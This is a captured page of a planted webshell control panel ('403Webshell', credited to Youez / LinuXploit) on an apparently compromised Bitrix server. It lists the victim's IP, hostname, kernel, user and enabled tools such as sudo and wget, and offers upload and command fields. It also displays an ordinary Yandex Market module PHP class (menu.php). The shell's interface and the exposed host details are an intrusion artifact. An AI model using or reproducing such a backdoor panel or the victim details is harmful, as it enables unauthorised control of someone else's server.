403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/trading/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/trading/menu.php
<?php
namespace Yandex\Market\Ui\Trading;

use Bitrix\Main;
use Yandex\Market\Data\Number;
use Yandex\Market\Trading\Business;
use Yandex\Market\Utils\PhpSerializer;

class Menu
{
	const OPTION_NAME = 'menu_business';

	public static function stored()
	{
		$option = \CUserOptions::GetOption('yandex.market', self::OPTION_NAME, 'unknown');

		if ($option === 'unknown') { return []; }

		$unserialized = PhpSerializer::decode($option);

		if (!is_array($unserialized)) { return []; }

		return $unserialized;
	}

	public static function store(array $items)
	{
		\CUserOptions::SetOption('yandex.market', self::OPTION_NAME, serialize($items));
	}

	public static function extractBusinessId(Main\Request $request = null)
	{
		if ($request === null) { $request = Main\Application::getInstance()->getContext()->getRequest(); }

		return Number::castInteger($request->get('business'));
	}

	public static function compileQuery($businessId)
	{
		return [
			'business' => self::castQueryBusiness($businessId),
		];
	}

	public static function castQueryBusiness($businessId)
	{
		if ($businessId instanceof Business\Model) { $businessId = $businessId->getId(); }

		$businessId = (int)$businessId;

		return self::isKnown($businessId) ? $businessId : 0;
	}

	public static function baseQuery($businessId)
	{
		if ($businessId === null) { return []; }

		return [
			'business' => $businessId,
		];
	}

	public static function knownBusinessIds()
	{
		return array_column(array_filter(self::stored(), static function(array $business) {
			return $business['ID'] > 0;
		}), 'ID');
	}

	public static function isKnown($businessId)
	{
		$businessId = Number::castInteger($businessId);

		if ($businessId === null || $businessId <= 0) { return false; }

		return in_array($businessId, self::knownBusinessIds(), true);
	}

	public static function businessFilter($businessId, $field = 'BUSINESS_ID')
	{
		if ((string)$businessId === '') { return []; }

		$businessId = (int)$businessId;
		$knownBusinessIds = self::knownBusinessIds();

		if (empty($knownBusinessIds)) { return []; }

		if (!in_array($businessId, $knownBusinessIds, true))
		{
			return [
				'!=' . $field => $knownBusinessIds,
			];
		}

		return [ '=' . $field => $businessId ];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit